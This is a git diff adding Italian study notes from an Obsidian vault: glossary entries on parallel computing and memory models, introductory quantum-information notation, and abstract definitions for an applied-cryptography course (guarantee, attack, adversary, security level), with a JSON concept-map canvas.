+Parte di codice che può eseguire solo un thread alla volta.
+
+### Sequential consistency
+
+Caratteristica di un’architettura che non effettua reordering di alcun tipo.
+
+### Write buffering (W→R)
+
+Caratteristica di un’architettura che permette ai read successivi ai writes di essere effettuati in anticipo.
+
+### Total store ordering
+
+I read di altri processori sono bloccati finchè tutti gli altri processori non hanno ricevuto il nuovo valore.
+
+### Processor consistency
+
+I read di altri processori sono bloccati finchè il processore singolo non ha ricevuto il nuovo valore.
+
+### Partial store ordering (W→R + W→W)
+
+Caratteristica di un’architettura che permette a qualsiasi operazione di essere effettuata prima che un write abbia effettivamente scritto il valore in memoria.
+
+### Weak ordering / release consistency (fence)
+
+Caratteristica di un’architettura che permette a qualsiasi operazione di essere effettuata prima di altre.
+
+Richiede l’utilizzo di particolari istruzioni *fence* che impediscono il reordering.
+
+### Legge di Amdahl
+
+$$
+Speedup = \frac{Old\ Run\ Time}{New\ Run\ Time}
+$$
+
+$$
+Speedup = \frac{1}{\left( 1 - Parallel\ Time \right) + \left(\frac{Parallel\ Time}{n}\right)}
+$$
+
+### Shared memory
+
+Implementazione del parallelismo a livello di codice che prevede memoria condivisa tra più core, richiede meccanismi di atomicità e locking.
+
+Tipo `threading` in Python.
+
+### Distributed memory / Message passing
+
+Implementazione del parallelismo a livello di codice che prevede memoria individuale per ciascun core, richiede scambio di dati esplicito.
+
+Tipo `multiprocessing` in Python.
+
+Il costo per il message passing è:
+
+$$
+Message\ Cost = Frequency \times \left( Overhead + Network\ Delay + \frac{Data\ Size}{Messages \times Bandwidth} + Network\ Contention - Overlap \right)
+$$
+
+### Static load balancing
+
+I task vengono assegnati ai core a compile-time.
+
+### Dynamic load balancing
+
+I task vengono assegnati ai core a run-time.
\ No newline at end of file
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/Untitled.md b/7 - Introduction to quantum information processing/1 - Concetti base/Untitled.md
new file mode 100644
index 0000000..e69de29
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/bit.md b/7 - Introduction to quantum information processing/1 - Concetti base/bit.md
new file mode 100644
index 0000000..8749615
--- /dev/null
+++ b/7 - Introduction to quantum information processing/1 - Concetti base/bit.md	
@@ -0,0 +1,3 @@
+[[Valore]] fisso e finito che può trovarsi in uno solo di due [[stato|stati]]:
+
+$$\Huge{0} \qquad \Huge{1}$$
\ No newline at end of file
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/ket.md b/7 - Introduction to quantum information processing/1 - Concetti base/ket.md
new file mode 100644
index 0000000..2303821
--- /dev/null
+++ b/7 - Introduction to quantum information processing/1 - Concetti base/ket.md	
@@ -0,0 +1,21 @@
+Notazione per rappresentare rapidamente [[vettore|vettori]] colonna.
+
+$$
+\begin{bmatrix}
+	1\\
+	0
+\end{bmatrix} =
+{\Huge
+	\ket{00}
+}
+\qquad
+\begin{bmatrix}
+	0\\
+	1
+\end{bmatrix} =
+{\Huge
+	\ket{01}
+}
+$$
+
+Può includere anche più di un
\ No newline at end of file
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/prodotto tensoriale.md b/7 - Introduction to quantum information processing/1 - Concetti base/prodotto tensoriale.md
new file mode 100644
index 0000000..2124b08
--- /dev/null
+++ b/7 - Introduction to quantum information processing/1 - Concetti base/prodotto tensoriale.md	
@@ -0,0 +1,19 @@
+[[Operazione]] tra due [[tensore|tensori]] che risulta in un [[tensore]] di [[ordine]] superiore.
+
+$$\Huge \otimes$$
+
+Può essere vista come l'applicazione di un "pattern" moltiplicato:
+$$
+\left[ \begin{matrix} 
+	{\color{Gray} In} & {\color{Gray} Out_{\ket{0}}} & {\color{Gray} Out_{\ket{1}}} \\
+	{\color{Gray} \ket{0}} & 0 & 1 \\ 
+	{\color{Gray} \ket{1}} & 1 & 0 \\ 
+\end{matrix} \right]
+\otimes
+\left[ \begin{matrix} 
+	{\color{Gray} In} & {\color{Gray} Out_{\ket{0}}} & {\color{Gray} Out_{\ket{1}}} \\
+	{\color{Gray} \ket{0}} & {\color{blue} 0} & {\color{green} 1} \\
+	{\color{Gray} \ket{1}} & {\color{red} 2} & {\color{orange} 3} \\
+\end{matrix} \right] 
+= \\
+\quad \\ \left[ \begin{matrix} {\color{Gray} In} & {\color{Gray} Out_{\ket{00}}} & {\color{Gray} Out_{\ket{01}}} & {\color{Gray} Out_{\ket{10}}} & {\color{Gray} Out_{\ket{11}}} \\ {\color{Gray} \ket{00}} & {\color{blue} 0} & {\color{blue} 0} & {\color{green} 0} & {\color{green} 1} \\ {\color{Gray} \ket{01}} & {\color{blue} 0} & {\color{blue} 0} & {\color{green} 1} & {\color{green} 0} \\ {\color{Gray} \ket{10}} & {\color{red} 0} & {\color{red} 2} & {\color{orange} 0} & {\color{orange} 3} \\ {\color{Gray} \ket{11}} & {\color{red} 2} & {\color{red} 0} & {\color{orange} 3} & {\color{orange} 0} \\ \end{matrix} \right]$$
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/qbit.md b/7 - Introduction to quantum information processing/1 - Concetti base/qbit.md
new file mode 100644
index 0000000..d23b21c
--- /dev/null
+++ b/7 - Introduction to quantum information processing/1 - Concetti base/qbit.md	
@@ -0,0 +1,12 @@
+[[Valore]] di un sistema quantistico che può trovarsi contemporaneamente in due [[stato|stati]] con intensità complementari.
+
+Le intensità sono rappresentate attraverso gli elementi di un [[vettore]] colonna: 
+- il primo è detto "stato $0$"
+- il secondo è detto "stato $1$"
+
+$$
+\begin{bmatrix}
+	intensita'\ stato\ 0\\
+	intensita'\ stato\ 1
+\end{bmatrix}
+$$
diff --git a/7 - Introduction to quantum information processing/1 - Concetti base/stato base di un qbit.md b/7 - Introduction to quantum information processing/1 - Concetti base/stato base di un qbit.md
new file mode 100644
index 0000000..b3ff37f
--- /dev/null
+++ b/7 - Introduction to quantum information processing/1 - Concetti base/stato base di un qbit.md	
@@ -0,0 +1,21 @@
+Quando un [[qbit]] si trova in uno stato con massima intensità, si dice che esso si trova in uno stato base:
+
+$$
+\Large
+\begin{bmatrix}
+	1\\
+	0
+\end{bmatrix}
+\qquad
+\begin{bmatrix}
+	0\\
+	1
+\end{bmatrix}
+$$
+
+Gli stati base solitamente vengono rappresentati con un [[ket]] dedicato:
+
+$$
+\LARGE
+\ket{0} \qquad \ket{1}
+$$
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/contesto.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/contesto.md
new file mode 100644
index 0000000..6fc28cb
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/contesto.md	
@@ -0,0 +1 @@
+Situazione considerata nella valutazione di una [[garanzia]], che descrive le possibilità a cui si va incontro.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md
new file mode 100644
index 0000000..6fc28cb
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md	
@@ -0,0 +1 @@
+Situazione considerata nella valutazione di una [[garanzia]], che descrive le possibilità a cui si va incontro.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione ideale.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione ideale.md
new file mode 100644
index 0000000..293c9b3
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione ideale.md	
@@ -0,0 +1 @@
+Definizione formale delle caratteristiche condivise da tutte le possibili [[soluzione|soluzioni]] di un problema.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione.md
new file mode 100644
index 0000000..f3a3161
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione.md	
@@ -0,0 +1 @@
+Specifica realizzazione pratica di una data [[funzione ideale]], che, dati zero o più [[parametro|parametri]], emette uno o più [[risultato|risultati]].
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md
new file mode 100644
index 0000000..6e9edcb
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md	
@@ -0,0 +1,3 @@
+Dimostrazione formale che un [[vincolo]] non possa mai essere violato in un dato [[dominio]].
+
+Solitamente, le garanzie hanno un codice di tre lettere, nel formato `ABC`.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/interfaccia.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/interfaccia.md
new file mode 100644
index 0000000..ba8e68d
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/interfaccia.md	
@@ -0,0 +1 @@
+Insieme di [[funzione ideale|funzioni ideali]] che sono parte della stessa soluzione.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/parametro.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/parametro.md
new file mode 100644
index 0000000..d0c9e06
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/parametro.md	
@@ -0,0 +1,4 @@
+---
+aliases: ["input"]
+---
+Informazione consumata da una [[funzione]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/primitiva.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/primitiva.md
new file mode 100644
index 0000000..f2feaa7
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/primitiva.md	
@@ -0,0 +1 @@
+[[funzione]] di cui si assume vera almeno una [[garanzia]], usata come base per costruirne un'altra [[funzione]].
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/problema.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/problema.md
new file mode 100644
index 0000000..e48432c
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/problema.md	
@@ -0,0 +1 @@
+Ostacolo che impedisce di raggiungere un certo fine pratico.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md
new file mode 100644
index 0000000..3b25287
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md	
@@ -0,0 +1 @@
+Serie di azioni da eseguire per ottenere un effetto.
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/protocollo.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/protocollo.md
new file mode 100644
index 0000000..87f5a5c
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/protocollo.md	
@@ -0,0 +1 @@
+Più [[funzione|funzioni]] utilizzate insieme a scatola chiusa.
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/risultato.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/risultato.md
new file mode 100644
index 0000000..e40930b
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/risultato.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["output", "emette"]
+---
+
+Informazione emessa da una [[funzione]].
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md
new file mode 100644
index 0000000..efa74fb
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md	
@@ -0,0 +1 @@
+Requisito delle [[soluzione|soluzioni]] di un [[problema]] per cui esse non devono creare effetti indesiderati.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/soluzione.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/soluzione.md
new file mode 100644
index 0000000..007f360
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/soluzione.md	
@@ -0,0 +1 @@
+[[Procedura]] pratica che permette di superare l'ostacolo posto da un [[problema]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/vincolo.md b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/vincolo.md
new file mode 100644
index 0000000..55bb20e
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/vincolo.md	
@@ -0,0 +1 @@
+Parte di un requisito di [[8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza]] che specifica uno specifico effetto indesiderato che non deve essere prodotto da una [[soluzione]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/★ mappa concettuale.canvas b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/★ mappa concettuale.canvas
new file mode 100644
index 0000000..832eedd
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/★ mappa concettuale.canvas	
@@ -0,0 +1,39 @@
+{
+	"nodes":[
+		{"type":"group","id":"07b4325bcea16588","x":-2160,"y":-1480,"width":2160,"height":1040,"color":"6","label":"Implementazione informatica"},
+		{"type":"group","id":"265a916a58761e91","x":-2160,"y":-3160,"width":2160,"height":1040,"color":"6","label":"Problema reale"},
+		{"type":"group","id":"73e77ed6be71707e","x":-2160,"y":-2040,"width":2160,"height":480,"color":"6","label":"Astrazione teorica"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md","id":"f6e86666781953c8","x":-1560,"y":-2000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md","id":"fd893b8dbb1a6d55","x":-2120,"y":-2000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/vincolo.md","id":"16dfda560025b604","x":-1560,"y":-2560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md","id":"fc9c718952e973c5","x":-2120,"y":-2560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/problema.md","id":"77342348f5a3311b","x":-440,"y":-2560,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/soluzione.md","id":"f9aa781a86d34ec4","x":-1000,"y":-2560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione ideale.md","id":"c5156ad00be1a77d","x":-1000,"y":-2000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md","id":"0f9a34ac1aa9d5d3","x":-1000,"y":-3120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione.md","id":"9307c3c4c73326c0","x":-1000,"y":-1440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/primitiva.md","id":"85502ca62b8c53ac","x":-1560,"y":-1440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/protocollo.md","id":"8807968561da18d7","x":-440,"y":-1440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/parametro.md","id":"791e2879bcae8dac","x":-1280,"y":-880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/risultato.md","id":"dff83c36f0c35f7d","x":-720,"y":-880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/interfaccia.md","id":"81000f44c2369af8","x":-440,"y":-2000,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"220636041118e90a","fromNode":"c5156ad00be1a77d","fromSide":"bottom","toNode":"9307c3c4c73326c0","toSide":"top"},
+		{"id":"5a714b7df2c8e15d","fromNode":"f9aa781a86d34ec4","fromSide":"bottom","toNode":"c5156ad00be1a77d","toSide":"top"},
+		{"id":"f07b7bc97bac9c37","fromNode":"f6e86666781953c8","fromSide":"bottom","toNode":"85502ca62b8c53ac","toSide":"top"},
+		{"id":"605126f562213308","fromNode":"85502ca62b8c53ac","fromSide":"right","toNode":"9307c3c4c73326c0","toSide":"left","toEnd":"none"},
+		{"id":"e5feebfe5b715c2c","fromNode":"16dfda560025b604","fromSide":"bottom","toNode":"f6e86666781953c8","toSide":"top"},
+		{"id":"666b87d135532ddb","fromNode":"f6e86666781953c8","fromSide":"left","toNode":"fd893b8dbb1a6d55","toSide":"right","toEnd":"none"},
+		{"id":"07d6326e25709386","fromNode":"f9aa781a86d34ec4","fromSide":"left","toNode":"16dfda560025b604","toSide":"right","toEnd":"none"},
+		{"id":"996673b88409f0e6","fromNode":"fc9c718952e973c5","fromSide":"right","toNode":"16dfda560025b604","toSide":"left","toEnd":"none"},
+		{"id":"a41195b96045dbee","fromNode":"77342348f5a3311b","fromSide":"left","toNode":"f9aa781a86d34ec4","toSide":"right","toEnd":"none"},
+		{"id":"7382f8d012c6eb19","fromNode":"9307c3c4c73326c0","fromSide":"right","toNode":"8807968561da18d7","toSide":"left","toEnd":"none"},
+		{"id":"be4510b5b2e77a20","fromNode":"9307c3c4c73326c0","fromSide":"bottom","toNode":"791e2879bcae8dac","toSide":"top"},
+		{"id":"35087da6bc08b3da","fromNode":"9307c3c4c73326c0","fromSide":"bottom","toNode":"dff83c36f0c35f7d","toSide":"top"},
+		{"id":"166efb10f9feab15","fromNode":"f9aa781a86d34ec4","fromSide":"top","toNode":"0f9a34ac1aa9d5d3","toSide":"bottom","toEnd":"none"},
+		{"id":"0ba9a6d2671dbb1d","fromNode":"81000f44c2369af8","fromSide":"bottom","toNode":"8807968561da18d7","toSide":"top"},
+		{"id":"67ff06cf95a65da9","fromNode":"c5156ad00be1a77d","fromSide":"right","toNode":"81000f44c2369af8","toSide":"left","toEnd":"none"},
+		{"id":"a0faa3ce666a6f08","fromNode":"f9aa781a86d34ec4","fromSide":"bottom","toNode":"81000f44c2369af8","toSide":"top"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md
new file mode 100644
index 0000000..37c1408
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md	
@@ -0,0 +1 @@
+Individuo che effettua determinate azioni all'interno di un [[sistema complesso]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/attacco.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/attacco.md
new file mode 100644
index 0000000..0b74f69
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/attacco.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["attack", "exploit"]
+---
+
+[[procedura|Procedura]] specifica che un [[avversario]] può applicare per vincere l'[[esperimento]].
+
+Corrisponde nella pratica a violare una delle [[garanzia|garanzie]] offerte dal [[protocollo]] proposto.
+
+Spesso, un attacco si basa su [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità]] della [[funzione]] proposta.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/avversario.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/avversario.md
new file mode 100644
index 0000000..15da4fe
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/avversario.md	
@@ -0,0 +1 @@
+[[agente|Agente]] della [[squadra rossa]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/costo.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/costo.md
new file mode 100644
index 0000000..41c7043
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/costo.md	
@@ -0,0 +1 @@
+Quantità di [[risorsa|risorse]] necessarie a raggiungere un determinato fine.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittoanalisi.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittoanalisi.md
new file mode 100644
index 0000000..08b2ed9
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittoanalisi.md	
@@ -0,0 +1,3 @@
+[[branca|Branca]] della [[crittologia]] che si occupa di scoprire informazionio occultate attraverso la [[crittografia]].
+
+Studia e crea [[attacco|attacchi]] crittografici.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittografia.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittografia.md
new file mode 100644
index 0000000..fa59326
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittografia.md	
@@ -0,0 +1,3 @@
+[[branca|Branca]] della [[crittologia]] che si occupa di nascondere e proteggere informazioni da agenti che le vogliono scoprire usando la [[crittoanalisi]].
+
+Definisce e crea [[funzione|funzioni]], [[primitiva|primitive]] e [[protocollo|protocolli]] crittografici.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittologia.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittologia.md
new file mode 100644
index 0000000..5617776
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittologia.md	
@@ -0,0 +1,6 @@
+[[Disciplina]] relativa al trasferimento [[8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza|sicuro]] di informazioni.
+
+È composta da due [[branca|branche]] contrapposte:
+
+- la ***[[crittografia]]***
+- la ***[[crittoanalisi]]***
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza.md
new file mode 100644
index 0000000..5268404
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["weakness"]
+---
+
+Caratteristica di una [[funzione]] che la rende [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità|vulnerabile]] in un determinato [[contesto]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/esperimento.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/esperimento.md
new file mode 100644
index 0000000..c396d82
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/esperimento.md	
@@ -0,0 +1,5 @@
+[[procedura|Procedura]] per la dimostrazione formale dell'esistenza di una specifica [[garanzia]] in una data [[funzione]].
+
+Gli esperimenti assumono la denominazione di *esperimento `ABC-XYZ`* dal codice della [[garanzia]] e della [[violazione]] che dimostrano.
+
+Sono solitamente formulati come una competizione tra la [[squadra blu]] e la [[squadra rossa]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia computazionale.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia computazionale.md
new file mode 100644
index 0000000..e5d1965
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia computazionale.md	
@@ -0,0 +1,3 @@
+[[garanzia]] soddisfatta solo praticamente, in quanto il [[costo]] di un [[attacco]] è superiore a quello accettabile per la [[squadra rossa]].
+
+Significa che [[violazione|violarla]] è **così tanto improbabile che la possibilità che ciò avvenga è considerata trascurabile**.
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia perfetta.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia perfetta.md
new file mode 100644
index 0000000..aa20097
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia perfetta.md	
@@ -0,0 +1,3 @@
+[[garanzia]] dimostrata con certezza matematica.
+
+[[violazione|Violarla]] è **sempre impossibile**.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/livello di sicurezza.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/livello di sicurezza.md
new file mode 100644
index 0000000..757fc0e
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/livello di sicurezza.md	
@@ -0,0 +1,19 @@
+[[Parametro]] che scala:
+- il [[costo]] per l'[[utilizzo]] di una [[funzione]] *(idealmente [[polinomiale|polinomialmente]])*
+- il [[costo]] per l'[[attacco]] dello stesso *(idealmente [[esponenziale|esponenzialmente]])*
+	- la soglia di probabilità che una [[garanzia computazionale]] venga violata *(idealmente [[inversa polinomiale|inversamente a una polinomiale]])*
+
+## Misura
+
+Si misura in "*bit*", che rappresentano il numero medio di operazioni richiesto per violare una [[garanzia computazionale]].
+
+| Bit | Operazioni | Operazioni |
+|----:|-----------:|-----------:|
+| $80$ | $2^{80}$ | $1\ 208\ 925\ 819\ 614\ 629\ 174\ 706\ 176$ |
+| $112$ | $2^{112}$ | $5\ 192\ 296\ 858\ 534\ 827\ 628\ 530\ 496\ 329\ 220\ 096$ |
+| $128$ | $2^{128}$ | $34\ 028\ 236\ 692\ 093\ 846\ 346\ 374\ 607\ 431\ 768\ 211\ 456$ |
+
+## #Extra Vedi anche
+
+- **Stack Exchange**: [Is 80 bits of key size considered safe against brute force attacks?](https://crypto.stackexchange.com/questions/13299/is-80-bits-of-key-size-considered-safe-against-brute-force-attacks)
+- **Stack Exchange**: [80-bit security and attack time](https://crypto.stackexchange.com/questions/79834/80-bit-security-and-attack-time)
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/mitigazione.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/mitigazione.md
new file mode 100644
index 0000000..5a67b5b
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/mitigazione.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["mitigation"]
+---
+
+[[Procedura]] che nullifica una [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità]] o che riduce la diminuzione del [[livello di sicurezza]] da essa causata.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/risorsa.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/risorsa.md
new file mode 100644
index 0000000..74e8792
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/risorsa.md	
@@ -0,0 +1 @@
+Qualcosa che possono essere consumato per raggiungere un determinato fine.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/sfidante.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/sfidante.md
new file mode 100644
index 0000000..37079f3
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/sfidante.md	
@@ -0,0 +1 @@
+[[agente|Agente]] della [[squadra blu]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/spazio.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/spazio.md
new file mode 100644
index 0000000..19af50a
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/spazio.md	
@@ -0,0 +1 @@
+[[risorsa]] che quantifica la memoria di archiviazione disponibile.
\ No newline at end of file
